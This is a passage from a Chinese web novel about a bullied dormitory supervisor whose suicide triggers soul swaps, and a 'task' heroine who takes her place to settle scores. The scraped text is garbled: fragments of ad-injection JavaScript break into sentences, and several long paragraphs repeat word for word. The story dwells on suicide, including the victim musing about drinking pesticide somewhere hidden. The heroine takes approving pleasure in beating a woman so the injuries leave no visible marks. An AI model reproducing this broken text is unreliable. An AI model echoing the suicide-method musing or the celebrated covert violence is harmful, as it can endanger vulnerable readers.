那时原主才三岁,而这个姑姑比原主大十八岁,正值谈婚论嫁的芳华年纪。 发生了那样的事,还被闹得村里以及附近好几个村的人都知道。 原主的奶奶是个疼女儿的,可是流言猛如虎,再加上他们村可是叫守贞村,这名字真不是白叫的。 这时村里几个德高望重的老人又出来说话了,摆在原主姑姑面前的就两个选择。 冤家宜解不宜结,干脆直接让原主姑姑嫁给邻村那个玷污了她的二流子,毕竟原主姑姑已经失贞于他了。 当然如果原主姑姑选择不嫁的话,那么一个失贞的姑娘,摆在她面前的第二条路是什么,身为守贞村的姑娘,不用村里老人再提醒的。 等村里这些个德高望重的老人离开后,原主奶奶抱着原主姑姑失声痛哭起来。 原主姑姑去过外面,多少见识过世面的,她不仅不想嫁给那个玷污她的恶心男人,甚至她还想报公安把人抓了,当然她更不想死。 县里的人不是没来村里给村民们上过谱法课,可是有些想法在老一辈村民脑子中已经根深蒂固,根本不是一两次谱法课可以改变的。 原主姑姑是个勇敢的姑娘,她去报了公安,那 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 人被抓起来判刑了,据说入狱不到一个月,就与其他犯人起冲突,被人打死了。 原主姑姑勇敢之举并没有得到村里人的赞同,当然,既然她没选第一个方案,面临的就第二种选择。 村民们肯定不会亲自当刽子手,可是他们的眼神,他们的闲言碎语,那就是一把把利刃,一副誓不把人逼死不罢休的模样。 不是有句诗这么说的,麻绳专挑细处断,厄运专找苦命人,屋漏偏逢连夜雨,船破又遇顶头风。 原主姑姑想活着,她真的无视掉了外界的一切恶意,可是上天似乎不曾眷顾过她。 两个月后,她的身体开始出状况,之后越来越严重。 原主奶奶带着她去县上医院看医生,医生的诊断结果犹如晴天霹雳,将原主姑姑以及原主奶奶刺激头脑发黑,当场瘫软在地,抱头痛哭。 原来原主姑姑被那二流子传染了脏病。 从医院出来,原主姑姑仿若被抽走了全部生机,如同行尸走肉般回到了村子里。 当晚原主姑姑就自杀了。 而原主姑姑得了脏病的事,也跟长了翅膀被传开了。 要不是还有原主需要照顾,原主奶奶可能也已经随女儿去了。 可以说,原主是在流言蜚语中长大的,她没有长成像原主姑姑那般勇敢,但也很努力很坚强的在活着。 只是随着年龄增长,她身体开始发育,明明吃得不好,身体却发育得比其他同龄甚至年长好几岁的女孩子还好。 特别是……她的胸部,要过年才满十五岁,可她的胸部已经长得和隔壁生过孩子的小媳妇的胸一样大。 奶奶在她十二岁时已经去世,原主孤零零一人的,真的很害怕。 第64章 禁欲教授与被霸凌小可怜的反转人生(03) 原主姑姑自杀的那晚,依旧像往常那样先在屋里抱着原主将人哄睡。 那晚姑姑说了很多话,原主还小听不懂的,也记不住多少。 但是有句话,姑姑重复说了好几次,原主记住了。 她记得当时姑姑望着敞开的窗户,低声重复呢喃着,“长大了一定要离开这里去外面看看,最好不要回来了。” 当时原主听不懂其中意思,却不妨碍她记住了这句话,以及姑姑说这话时的场景。 当原主十八岁时,村里七大姑八大婆打着关心她的旗号,开始替她张罗对象的事,没到法定结婚年龄没事,先定下来,处个几年 原主很害怕,很惶恐,她悲观的感觉自己未来可能会走上和姑姑一样的路。 可是她真的很渴望活着,慢慢变老,不奢望很幸福,平静,平淡的就行。 就在村里某个老阿婆第三次让她考虑考虑同村一个二十八岁鳏夫时,原主想起了姑姑自杀当晚她唯一记下的那句话。 辗转反侧了一晚,原主咬咬牙做出平生最勇敢的一次决定。 在两天后一个风雨交加的早上,原主简单收拾下行囊,没有和任何人告别,毫不留恋的离开生活了十几年的村子。 一路的迷茫,在下了火车,明烈的阳光洒在脸上时,那种暖意直达心底,驱散了心中的迷茫。 原主给自己打气,日子会越来越好的。 在车站,原主的乐于助人和善良,让她结识了一个贵人。 经由这个贵人介绍,原主得以在现在工作的高校食堂当帮工。 原主是个勤奋上进肯吃苦的,在高校这种学习氛围浓郁的地方,她工作之余也开始自学,花了几年时间,将自己的初中学历提升至专科学历。 后来知道学校在招宿管阿姨,她就去应聘,也很顺利被录用了。 原主真的很喜欢学校这种积极向上,充满活力,却又平静简单的地方,也很喜欢自己现在这份工作。 她有点恐婚,做好自己生活一辈子的准备了。 陈丽华是前年应聘进来的宿管阿姨,比原主大一岁。 知道原主孤苦一人在外,偶尔会给予原主一些言语上的关心。 可能是原主在学校待久了,不太容易去把人往坏的想,而陈丽华又是健谈的,很喜欢关心原主的很多私事。 当然原主也不是傻的,不会把家里什么事都往外说。 但是人家问你哪里的,哪个村的人? 当时原主不是很想说,可是不说似乎会显得不合群,性格孤僻,甚至会引人深想,因此产生嫌隙。 原主想,她和陈丽华又不在一个省,就算说了,对方就听听,大概率是不知道那是哪,没准转头过不了多久就忘了。 反正不知怎地,原主打心底的抵触让人知道她来自哪里。 后来原主被莫名其妙扣上勾引学校里某大一新生,并因此惨遭多次霸凌,而霸凌她就是陈丽华侄女。 原主真的觉得很冤枉,可无论她怎么解释,陈雅恬这个小姑娘就是不听。 原主也不完全是泥人,第一次被陈雅恬找上时,她想过反抗。 可是陈雅恬骂骂咧咧的话中夹杂了这么些话“骚婊子,你家里人知道你在外是这副样子的吗?学校的领导知道吗?知道你勾引学校的学生,知道的话应该会把你开除的吧!还有,你要是敢报警,我就去你老家,去你们村闹,让大家知道你是个什么货色……” 打蛇打七寸,原主的七寸在哪呢? 也不知道陈雅恬是真的聪明,还是误打误撞。 反正当时原主脑中就一个声音,不能失去这份工作,更不能让村里的人知道。 原主比谁都清楚流言蜚语的可怕。 更知道百口莫辩的痛苦,委屈,无力。 在陈雅恬接二连三的霸凌下,一天夜里,原主绝望的跳楼自杀了。 而就在她从宿舍楼天台跳下,身体落地后意识还没完全消失时,一件神奇的事发生在了她身上。 她的灵魂与学校很有名的沈之牧沈教授灵魂交换,进入了各自身体里。 这或许是老天爷施舍给她一丝曙光,可她最终还那个福气抓住。 因为从高楼坠落,她的身体根本活不成了。 未知的希望就像昙花一现般! 死亡是原主自己选择的,就是那么巧的错过了上天给的灵魂交换事件,原主都没不甘心。 她有的只是深深的委屈,委屈她和姑姑一样,不是上天眷顾的小孩。 可是,接下去发生的事,让原主不甘心啊! 陈丽华 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 是亲眼目睹原主从楼上坠下来的,她快吓死了。 反应过来忙过去看原主的情况,刚好在原主断气时触碰了她身体。 原本在原主身体里沈教授的灵魂再次转换,进入了陈丽华的身体里。 而陈丽华的灵魂则同一时间进入了沈教授的身体里,至于原主的灵魂随着身体死亡消失,去了该去的地方。 沈之牧沈教授,时年二十八岁,学校里最有名最帅的教授,据说家世显赫。 两个基本永远不可能有交集的人,因为神奇的灵魂互换不得不牵扯在一起。 因为灵魂互换,两人不可避免的看了对方的身体,自己的身体也被对方看了……还摸了。 在陈丽华不断传达出自己是个保守,十分看重贞洁的女人……稀里糊涂经历这种离奇的事,她以后还怎么嫁人生子,未来很大可能就自己一个人过了。 最后无关情爱,只是出于责任和担当,沈之牧娶了比他大六岁的陈丽华,婚后两人过着相敬如宾的日子。 而陈雅恬,借着陈丽华这段离奇的经历,结识了沈之牧的得意门生唐文译,在相处过程中,渐渐爱上了他。 也是这时,陈雅恬恍然明白她以前对竹马曾明凯的偏执根本不是爱,那不过是年少不懂情爱时的占有欲。 唐文译简直太优秀太美好了,如果说竹马曾明凯是天上星,那么唐文译就是天上皓月。 意识到自己喜欢上这么完美的男孩子,陈雅恬开始感觉到自惭形秽,更是后悔自己年少不懂事时,为了竹马曾明凯做下的那些糊涂事。 为了能配得上唐文译,她开始洗心革面,做一个真善美的好姑娘,同时发奋读书,最后真的考上了唐文译就读的大学。 唐文译是知道小姑娘当初为了追求竹马时,做了些错事,不过只以为都是些小姑娘间的小打小闹。 而且小姑娘已经认识到错误,一个人一生不可能不犯任何错的,知错能改善莫大焉,更何况那时小姑娘还小,少不懂事,值得被宽容对待。 看到小姑娘为了他改变,为了他变好,他慢慢的也对小姑娘动心了。 因着有沈之牧这个姑父这层关系在,两人可以说是很顺利就在一起。 甚至之后结婚,唐家人也很轻易就接受了陈雅恬这个门不当户不对的儿媳妇。 第65章 禁欲教授与被霸凌小可怜的反转人生(04) 这世界仿佛所有的美好都和原主没关系,哪怕是落到她手中的,也会很快像流沙一样溜走。 而那从她手中溜走的流沙流向了陈丽华,造福了姑侄俩真的让原主很不甘心。 不过是一个宿管阿姨跳楼自杀,还是个无依无靠的孤女。 学校为了将影响降低到最小,并没有报警,当然也不需要报警,从监控看,人就是自杀的,而自杀并不属于刑事案件。 校方对外只是简单说明人是因为情感纠纷,一时想不开的。 而这个说辞,是该名跳楼宿管的同事向校方透露的。 对的,这个同事不是别人,就是陈丽华,是她和校方领导说的。 在原主死后,校方只是找了和原主走得比较近,又住同宿舍的陈丽华询问一番。 陈丽华为了保护陈雅恬,撒谎说原主小三插足,之前好几次被原配打上门。 会自杀,可能是下午又被原配找上门打了,才会一时想不开。 陈丽华说着说着就哽咽了,直言原主太傻了,怎么就想不开了,自责自己太粗心大意了,要是早点发现人不对劲,就能…… 原主已经没有亲人了,后事还是好心同事陈丽华同志帮忙简单操办的。 一个孤女,既然排除他杀,确认是自杀,知道这件事的人除了八卦下为什么自杀,平时拿来当当谈资,谁又会真的那么较真去查一个小人物为什么自杀,毕竟非亲非故的。 简单看完剧情,白幺幺表示原主挺惨也挺可怜的。 当然谁都不能站在上帝视角去评论原主应该怎么做,为什么不这么做之类的,不然就有站着说话不腰疼的嫌疑,毕竟每个人的成长经历造就了性格的多样化。 学会尊重个体差异,是一个人最好的修养。 至于原主的心愿,白幺幺:“……” 怎么办,说了很多,好像说了,又好像没说,最后还是…… “我想好好的活着,活在阳光下,大方明媚的活着,可是真的好难!” “拥有这样一副身体,我也不想的,身体想长成什么样,不是我能控制的,为什么她们就因为一副身体先给我判了死刑,要让我用余生去证明,证明我一定不会是个水性杨花的女人……” “我知道自己一定能做一个好女人的,可是我要怎么像让别人相信,又为什么要让别人相信,就像我明明一直都是自尊自爱,可还是被陈雅恬泼脏水,百口莫辩。” “还有,还有其实有时候……我也不是那么讨厌自己这副身体的……” “怎么办,人活着有时候真的很累。” “小姑姑自杀了,可是明明小姑姑没错什么呀,这是为什么?” “是小姑姑不够勇敢吗?那我……是不是也一样不够勇敢?” “虽然我是自杀的,但陈雅恬她是间接凶手,为什么她,还有陈丽华能继续没有一丝心理负担的活着。” “还有,我是不是不该选择跳楼自杀的,而是应该选个没人地方喝农药自杀,这样……是不是就不会害了沈之牧沈教授……陈丽华……她不是良配。” “如果……如果我迟一点点再自杀,或者我再坚强点,放弃自杀,是不是我和沈教授……不行,不行,我怎么配,我不配的。” “对了,对了,你是问我有什么心愿吗?我……我其实也不知道,我似乎有很多想做的,可具体要做什么我也说出来,又总觉得生活不该如此的,守贞村的村民也不应该这样的,陈雅恬更不该这样欺负人的。” “你的能力我也不清楚,要不,你帮我想想,我应该要有什么心愿?” 白幺幺:“……” 她脱口而出道:“幸福美满的婚姻,比如嫁给沈之牧;报复陈雅恬,让她受到应有惩罚;曝光和改变守贞村的某些迂腐落后偏执观念,杜绝像你姑姑那样悲剧再发生。” “这……这……这会不会太贪心了,还有你真的都能办到吗?” 白幺幺:……这是被质疑能力了吗? 白幺幺同志现在是真的做到了干一行爱一行,被人质疑业务能力,那怎么行。 她下意识做了一个特装逼的表情,就是那种瞧着无所不能有点傲的……仙风道骨神棍表情。 “你是就要定下这三个心愿了吗?” “这……” “你放心,你这几个心愿小意思啦,一点都不难,保证给你完成的漂漂亮亮的。” “不……不是……” “那是什么?是这三个心愿还不够,你还有其他心愿要补充的吗?” “够,够了……没有……没有要补充的了” “那行。” 白幺幺是第一次尝试意识回到世界管理局,亲自与任务委托者见面,听她们亲口说出心愿的。 怎么说,体验感马马虎虎,下回还是不选择这种模式了。 再次扫视了一圈房间,白幺幺重新躺回床上,按照剧情,第一次灵魂互换持续的时间很短,才不到五分钟。 剧情里,沈之牧是睡着后,被灵魂互换的,刚换进原主的身体里,还没完整体验死亡的感觉,就立马又被换到了陈丽华的身体里。 夜晚的凉风打在脸上, 才让他意识慢慢恢复清醒,四周的景象他既熟悉又陌生。 熟悉是这是他任职的学校,学生宿舍楼前,他经常有路过的。 陌生则是,他不是应该在自己房间睡觉,怎么会突然出现在这里? 周围渐渐骚动起来,沈之牧不经意往地上一看,瞬间受到了强烈的视觉冲击,然后他华丽丽的晕倒了。 哦,不是,应该说灵魂回到了自己身体去了。 沈之牧回到身体后,当即醒来。 他以为自己是在做梦,只是梦境太真实了。 压下想去梦中自己出现的学校宿舍楼前看看的冲动,沈之牧重新躺回床上。 只是翻来覆去的,他怎么也睡不着。 十 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 分钟后,换好衣服的沈之牧还是开车去学校了。 他住的地方离学校很近,开车只要七八分钟,大半夜的路上车流较少,五分钟后他就到学校了。 此时本应该寂静的学校却闹哄哄的,沈之牧蹙眉往学生宿舍楼走去,远远瞧见停在宿舍楼下的救护车时,他心里蓦地咯噔一下。 他的梦境竟然的成现实了?! 他还是走过去做最终确认,已经做好心理准备,不过走过去时,人已经被盖上白布。 梦中让他视觉产生强烈冲击的画面,就这么被一块白布隔绝。 沈之牧又逗留了一会儿,知道跳楼的人是这栋学生宿舍楼的宿管阿姨,听刚好目睹死者坠下楼的另一名宿管说人应该是因为情感纠纷才会一时想不开的。 沈之牧不喜欢这种漠视生命的行为,他不再关注这起跳楼事件,毕竟他不是那种爱八卦的人。 比起这,他更关心在意的是他为什么会做那样的梦,梦里的场景还在现实发生了? 直至两天后,他再次与陈丽华进行灵魂互换,才恍然明白之前的并不是梦。 才让他意识慢慢恢复清醒,四周的景象他既熟悉又陌生。 熟悉是这是他任职的学校,学生宿舍楼前,他经常有路过的。 陌生则是,他不是应该在自己房间睡觉,怎么会突然出现在这里? 周围渐渐骚动起来,沈之牧不经意往地上一看,瞬间受到了强烈的视觉冲击,然后他华丽丽的晕倒了。 哦,不是,应该说灵魂回到了自己身体去了。 沈之牧回到身体后,当即醒来。 他以为自己是在做梦,只是梦境太真实了。 压下想去梦中自己出现的学校宿舍楼前看看的冲动,沈之牧重新躺回床上。 只是翻来覆去的,他怎么也睡不着。 十分钟后,换好衣服的沈之牧还是开车去学校了。 他住的地方离学校很近,开车只要七八分钟,大半夜的路上车流较少,五分钟后他就到学校了。 此时本应该寂静的学校却闹哄哄的,沈之牧蹙眉往学生宿舍楼走去,远远瞧见停在宿舍楼下的救护车时,他心里蓦地咯噔一下。 他的梦境竟然的成现实了?! 他还是走过去做最终确认,已经做好心理准备,不过走过去时,人已经被盖上白布。 梦中让他视觉产生强烈冲击的画面,就这么被一块白布隔绝。 沈之牧又逗留了一会儿,知道跳楼的人是这栋学生宿舍楼的宿管阿姨,听刚好目睹死者坠下楼的另一名宿管说人应该是因为情感纠纷才会一时想不开的。 沈之牧不喜欢这种漠视生命的行为,他不再关注这起跳楼事件,毕竟他不是那种爱八卦的人。 比起这,他更关心在意的是他为什么会做那样的梦,梦里的场景还在现实发生了? 直至两天后,他再次与陈丽华进行灵魂互换,才恍然明白之前的并不是梦。 第66章 禁欲教授与被霸凌小可怜的反转人生(05) 夜晚的风本就大,天台上更甚,还更具凉意。 风飕飕的往脸上刮,同时伴随着阵阵凉意袭来,沈之牧不自觉拢紧眉心,紧闭的眼皮抽动了下。 惊觉不对劲,他倏地睁开眼睛。 这是哪里? 如果他记忆没错乱的话,此时此刻他应该躺在自己的卧室床上。 ……胸口怎么沉甸甸的? 沈之牧想也不想伸手往胸口处摸去,同时低头想瞧个究竟,然后…… 被学校学生誉为寡言君子,向来泰山崩于前而不改色的沈教授,此时他脸上的表情堪称平生最精彩,没有之一。 还没察觉到其他不对劲的沈教授此刻已经被胸前多出来的两大坨柔软震惊得失态了。 脑中快速冒出一个个想法。 他这是被人绑架了? 绑架他的人竟然……给他做了……隆胸手术?! 他到底失踪的几天? 现在…… 没给沈之牧更多的时间去思考,脑中一阵晕眩传来,没一瞬的功夫,他就彻底失去了意识。 再次惊醒,置身于温暖的床上,清晰感受到胸前那种沉甸甸的感觉消失了,沈之牧第一时间再次摸向自己的胸想要确认。 平的。 一向淡定自若的沈教授浅浅的舒了口气。 藏在被子下面的手不自觉收拢摩挲,虽只是快速地一触即离,但那种柔软触感太真实了。 还有风打在脸上的寒意,空气中裹挟的湿冷味道,一切真实的可怕,一点都不像梦境。 这到底是怎么一回事? 沈之牧黑眸微敛,眸光深沉了几分。 他下床,轻轻推开卧室的阳台门,冰凉的风扑面而来。 夜很静,沈之牧却没了困意。 画面回到学校宿舍楼天台。 “嘶!” 白幺幺轻轻触碰脸上的伤,美眸中泛起冷意。 打人不打脸,这是江湖上不成文的规定。 白幺幺同志真的怒了,想到未来好几天要顶着这么张脸,她不要面子了吗? 此时她心里无比怨念,第一次灵魂互换时间怎么就如此短了,一点体验感都没有。 白幺幺觉得起码也要先来个天打底,等脸上巴掌印消退了,再让她回到这具身体里。 至于那个谁顶着这么张脸好几天是什么心态,白幺幺同志才不管了,毕竟死道友不死贫道。 不行,要做点什么补救。 对,赶紧回去处理下脸上的伤,冷敷安排上。 白幺幺下到第五层时,心里惴惴不安还是决定上顶楼看看的陈丽华也刚好到了这一层。 狭路相逢,仇人相见分外眼红的画面是不存在的。 白幺幺直接将人无视掉,像陈丽华这种人,等后面收拾陈雅恬时再一起教训下。 养不教,责任真的很大。 后面为了陈雅恬,还往原主身上泼脏水,或许陈家的根本就是不好的。 陈丽华神情纠结的咬了咬唇,犹豫着出声喊道:“幺幺,你等一下。” 白幺幺没理人,继续走。 陈丽华几步来到白幺幺身前,脸上虽有歉意,但真的不多。 “恬恬,她还小,这次之后,我会好好管管她的,你别和孩子……” 陈丽华后面的“计较”两个字还没出口,就被白幺幺接下来的话给噎回去了。 “十八岁可不小了,已经成年了,你可以把她当巨婴,这个社会可不认!我也不认!!” 白幺幺绕过人,继续下楼。 陈丽华久久才从被白幺幺回怼的惊愣中回神,心中隐隐有种不好的感觉。 她和白幺幺认识时间不短了,没谁比她更了解白幺幺的性格。 那就是个软绵绵的包子,没啥脾气,很好说话。 空有一身好资本,却总是穿着肥大老土的衣服,将好身材遮挡起来,不爱拾掇自己,打扮也土里土气的。 平时走路还爱弓着腰,低着头,不善与人交流,给人一种唯唯诺诺的印象。 陈丽华在社会摸爬滚打十几年,最喜欢和像白幺幺这样的人交好了。 只要稍微表达出点善意和关心,可以的话,再小小施点恩,这种人就会慢慢对你不设防,把你当知心朋友。 特别是知道白幺幺家里都死绝了,就剩她一个人在异乡,陈丽华心里更不将人当一回事了。 像白幺幺这样的,简直不要太好拿捏了。 同样只是在学校当个宿管,同样是大龄剩女,陈丽华却自我感觉良好,比之白幺幺,她的自我优越感简直不要太强。 只是,白幺幺身上有两点让她疯狂嫉妒。 第一点就是白幺幺的那对大胸,陈丽华小时候家贫吃得不好,后面自己挣钱了,各种丰胸方式都尝试过,也才比a杯大一点点。 她有想过去做手术,可她是个传统女性,以后结婚生孩子了,一定是要亲自母乳喂养宝宝的。 所以,有过好几回的想法,最终都被陈丽华自我说服放弃了。 第二点就是白幺幺的那张脸,明明一样是三十几的年龄,不过是只比她小一岁,可偏偏好命长了张幼太脸,皮肤还好,硬 生生给年轻了五六岁不止。 要不是白幺 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 幺那傻子,平时总是很低调,一副村姑大妈的打扮,不懂得把自己优势展现出来,陈丽华内心的嫉妒绝对压不下,知心姐姐肯定也当不下去。 陈丽华脸上的表情不断变换,最后归于平静。 她朝地上淬了口唾沫,“应该是我想多了,人怎么可能一下子说变就变,肯定是恬恬那丫头这次下手太重了,到现在情绪还不稳定了。” 陈丽华想,这次之后一定不能让恬恬继续来找人麻烦了,不然到时人真被逼得想不开,人死了她是一了百了。 虽然白幺幺说自己老家没有亲人了,但又有谁能说的准,会不会突然冒出个沾亲带故的来闹,真去深究人自杀的原因。 到时把恬恬那丫头牵扯出来,人自己心理承受能力差自杀肯定不关恬恬的事,可恬恬名声就会因此受影响,以后还怎么找好婆家。 陈丽华回到宿舍时,见到白幺幺正在处理脸上的伤,心里蓦地心虚了下。 “幺幺,你这脸,明天我见了恬恬那丫头,一定狠狠将人训一顿。” 白幺幺挑眉,朝人招了招手。 陈丽华不明所以的走过去,以为白幺幺是要她帮忙处理脸上的伤。 啪的一声脆响。 陈丽华脸被打偏到一边,耳朵嗡嗡的,脑袋蒙蒙的。 生生给年轻了五六岁不止。 要不是白幺幺那傻子,平时总是很低调,一副村姑大妈的打扮,不懂得把自己优势展现出来,陈丽华内心的嫉妒绝对压不下,知心姐姐肯定也当不下去。 陈丽华脸上的表情不断变换,最后归于平静。 她朝地上淬了口唾沫,“应该是我想多了,人怎么可能一下子说变就变,肯定是恬恬那丫头这次下手太重了,到现在情绪还不稳定了。” 陈丽华想,这次之后一定不能让恬恬继续来找人麻烦了,不然到时人真被逼得想不开,人死了她是一了百了。 虽然白幺幺说自己老家没有亲人了,但又有谁能说的准,会不会突然冒出个沾亲带故的来闹,真去深究人自杀的原因。 到时把恬恬那丫头牵扯出来,人自己心理承受能力差自杀肯定不关恬恬的事,可恬恬名声就会因此受影响,以后还怎么找好婆家。 陈丽华回到宿舍时,见到白幺幺正在处理脸上的伤,心里蓦地心虚了下。 “幺幺,你这脸,明天我见了恬恬那丫头,一定狠狠将人训一顿。” 白幺幺挑眉,朝人招了招手。 陈丽华不明所以的走过去,以为白幺幺是要她帮忙处理脸上的伤。 啪的一声脆响。 陈丽华脸被打偏到一边,耳朵嗡嗡的,脑袋蒙蒙的。 第67章 禁欲教授与被霸凌小可怜的反转人生(06) 啪的又是一声响脆响。 上个世界白幺幺接演过一部小众电影,里面有大量关于古代建筑的研究。 演戏期间她学了个新词,叫对称美学,然后……她就多了个不确定时间不确定地点会犯的强迫症。 瞧着陈丽华两边脸上对称的巴掌印,白幺幺心里总算美丽了那么一点点。 两边脸颊以肉眼可见速度红肿起来,也不知道过了多久,陈丽华终于回魂了。 “白,幺,幺!你疯了,你竟然敢打我!” 扇人脸巴掌,侮辱性简直不要太强。 陈丽华现在简直快疯了,她竟然被一直被她瞧不上的人打了,还是打脸。 此时她已经被气得浑身发抖,恨不得扑上去撕烂了白幺幺那张脸。 “妈的,你个……” 白幺幺一个凌厉的眼刀射过去,“你敢骂出来试试。” 白幺幺原本以为脸上只有巴掌印,回宿舍后一照镜子,没想到还有几道指甲印,不知道她最爱美了吗! 也不知道几道指甲印会不会好。 这个陈丽华一进来就开始逼逼叨叨的,白幺幺哪里还能忍。 陈丽华第一次看到白幺幺露出这种眼神,很可怕,很…… 她文化水平不高,好一番搜肠刮肚也找不出贴切的形容词,身体本能的警报系统让她一时发不声来。 陈丽华,嗯,还有她那个侄女,两个就是典型的欺软怕硬。 白幺幺现在只是表现出足够强硬的态度,当然还稍加了一点气势镇压,这陈丽华不就被打了也不敢还手。 现在更是连还口都不敢。 举起镜子,对着脸又照了照,白幺幺才美丽那么一点点的心情又下去了。 放下镜子,她将视线重新落到陈丽华身上。 “我是个讲道理的人,也喜欢讲道理,你侄女打了我,既然你觉得她还小。” 白幺幺眯了眯眸子,“那行,我暂时不找她算账,今儿这笔账,你先替她还了吧。” 陈丽华:……她是这个意思吗?她根本不是这个意思。 不会恬恬那丫头今天真的下手太重了,没把人打出好歹来,甚至也没把人逼自杀,却把人逼疯了。 “白……白幺幺,你是不是疯了?!” “你绝对是精神出问题了。” 陈丽华一秃噜的直接将心里话说了出来,心中开始各种权衡,如果不管不顾扑上去能打赢的几率有多大,如果打不赢又要怎么办? 报警肯定是不能报警的。 今晚的白幺幺有点……有点疯魔,到时了报警,警察一来闹大了,她坏心的把恬恬那丫头牵扯进来,那怎么能行。 陈丽华是个惯会审时度势的,也是个能屈能伸的。 不就是两巴掌,想到白幺幺被恬恬扇巴掌的次数,陈丽华是懂自我安慰的,当即心里舒坦不少。 也不知道是不是上个世界打戏接多了,白幺幺又有点手痒了。 她好像爱上那种能动手,就别逼逼的感觉。 冷嗤一声,白幺幺耸肩道:“你觉得是,那就是喽,不过就是不知道你承受得起我的疯吗?” 陈丽华:“?!!” 没给她反应的时间,白幺幺动了。 怎么打人表面看不出来,却最痛,还能给人留下暗伤,白幺幺可最清楚了。 她其实真不是崇尚暴力的人,一切都是为了完成原主的心愿。 没办法,她就是这么敬业的人。 在白幺幺手下,陈丽华就像小鸡崽子似的,根本没有反抗的余力。 此时,她已经痛的面部扭曲,嘴巴又被堵上毛巾,根本喊不声来。 陈丽华心中对白幺幺的恨,已经到想把人扒皮抽骨、挫骨扬灰的地步了。 同时她也恨自己第一次识人不清,竟然没发现白幺幺的武力值如此强。 就这单手能把她的制服的力气,妈的,平日里故意装什么小绵羊,既然装了,怎么就又不装到死了。 教训完人,白幺幺一手把人甩到一边去,转身去卫生间洗漱。 混娱乐圈的时候,白幺幺不仅学演戏,还学会了各种保养护肤技巧,美容觉是关键。 望着白幺幺离开的背影,陈丽华眼神仿若淬了毒般。 她紧咬牙关,暗暗在心里道:小贱人,恬恬那丫头果然没打错人,亏她之前还想 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 劝恬恬停手。 她真傻,等着,来日方长。 白幺幺出来时,宿舍里已经没有陈丽华的身影了。 她并没太在意,上床关灯睡觉。 这一晚注定是个不眠夜的。 嗯,只有沈之牧和陈丽华两人,白幺幺同志那是倒床秒睡。 没方法,她今天真的太累了,心累算不算。 宿管的工作很简单。 白幺幺早上醒来先去洗漱,洗漱完出来刚好到点,去把宿舍大门打开,她顺便出去学校食堂买份早餐。 出于多重考虑,她暂时没打算改变装扮,当然出门前她还是带了个口罩。 原主是个舍不得吃的,她想攒钱买房子,一般很少光顾学校食堂,都是自己在宿舍简单整点东西吃。 白幺幺脑中很突兀的冒出 了这么一句话:人生最痛苦的事情,就是人死了,钱没花完。 原主不就是活生生的例子,然后她没花完的钱,白幺幺来替她花。 选了好几样看着就好吃的,白幺幺刷完饭卡,提着东西回宿舍吃。 当过明星的人,偶像包袱似乎刻进骨子里了,反正让白幺幺顶着还没消退的巴掌印在外面露脸,那是绝对不可能。 都怪进入身体节点选得太…… 不然她怎么可能让这具身体的脸受伤。 白幺幺继续模仿原主,微微低着头走路。 快到宿舍楼前时,前方有道身影,她是可以避开不会撞上的。 一缕熟悉的清淡薄荷香钻入她的鼻腔,白幺幺眼睛忽的亮了下。 “唔!” 为了逼真,白幺幺是真撞上去。 男人背部肌肉很硬,白幺幺感觉鼻子肯定撞红了。 她抬起头,忙慌乱地道歉,“对不起。” 沈之牧转身,神色未变,显然并没有将这一小插曲放心上,回答也是相当惜字如金。 “无碍。” 白幺幺:……就这样? 就算没认出来,难道就没点熟悉感? 毕竟昨晚你灵魂可是上了这具身体好几分钟的,也不知道这人在这几分钟内都干了什么? 第68章 禁欲教授与被霸凌小可怜的反转人生(07) 察觉到撞到他的人愣愣的,似是在发呆,一时好像没有要离开的意思,沈之牧眉梢微挑。 “有事?” 白幺幺:……还真是对她…不是…对这具身体一点印象都没有呀! “没……没有。” 白幺幺紧张的摇头,离开时像是鼓起很大勇气,又转头看了沈之牧一眼。 两人视线很不巧的碰撞在一起,沈之牧的眼神淡漠疏离,白幺幺的眼神那则是饱含深意喽。 只是现在的沈之牧看不懂,不过应该很快就会懂的,但不妨碍他现在轻皱眉着将白幺幺这莫名其妙一眼印入脑中。 买早餐回来在宿舍楼前遇见沈之牧,对白幺幺来说不过是个再小不过的小插曲。 一回到宿舍,她就迫不及待打开买的早餐开始享受起来。 人生苦短能几何,唯有美食不可辜负。 对于尝遍各种美食的白幺幺来说,学校食堂的东西味道只能说尚可。 可对于原主这副“素”了那么久的身体来说,那真的是奢侈美味了。 画面转回宿舍楼外。 昨夜从梦中“惊醒”后,那种无比真实的感觉,让沈之牧脑袋清醒,根本无法重新入睡。 靠坐在阳台藤椅上,他开始闭着眼睛回想梦境内容。 很短暂的梦,不知是不是睡梦中的原因,他脑袋一开始是迷迷瞪瞪的。 等梦中的他慢慢恢复清明后,随即就又被惊愕充斥整个大脑。 没想到这场如此真实……离奇的梦会结束得这么快,沈之牧只能现在仔细去回忆,试图想起梦中更多的细节。 睡不着,人又闲着,他无聊的开始做各种猜想和推理。 甚至大胆的冒出一个想法,他会不会突然解锁了某种技能,比如预知未来的梦。 月光下,沈教授的目光渐渐变得幽邃起来。 将短短不知几分钟的梦境在脑中反复重放,捕捉各种细节进行推敲研究,最后终于让沈教授捕捉到了一个有用信息。 学校。 梦中的他所处位置,应该是学校某栋建筑的天台。 所以,即使今早没课,沈之牧还是来学校了。 平时不算忙,却也难得有时间闲逛校园。 依着记忆中画面捕捉到学校图书馆顶楼很有特色的一角,沈之牧先从楼层高度进行排除筛选,最后再从视觉角度进行最终确认。 然后,他就出现在了白幺幺所负责的宿舍楼前。 等白幺幺离开后,沈之牧仰头环视四周,接着抬步走进宿舍楼。 来到顶楼天台,他先是散步似的走了一圈,最后来到某个位置。 如果白幺幺此时在的话,一定会发现沈之牧最后停在的位置就是她上原主身后,昏迷前把自己安置的那个角落。 站定后,沈之牧也不知道在想什么。 良久后,他闭上眼睛,深呼吸,想去感受空气的味道。 不过,这种空旷的地方,不同时间,特别还是早晚之别的空气,肯定不是一个味的。 因着早上没什么事,沈之牧在顶楼驻足了很久才离开。 陈丽华在这座寸土寸金的城市是有住处的,那是陈丽华哥哥留下的。 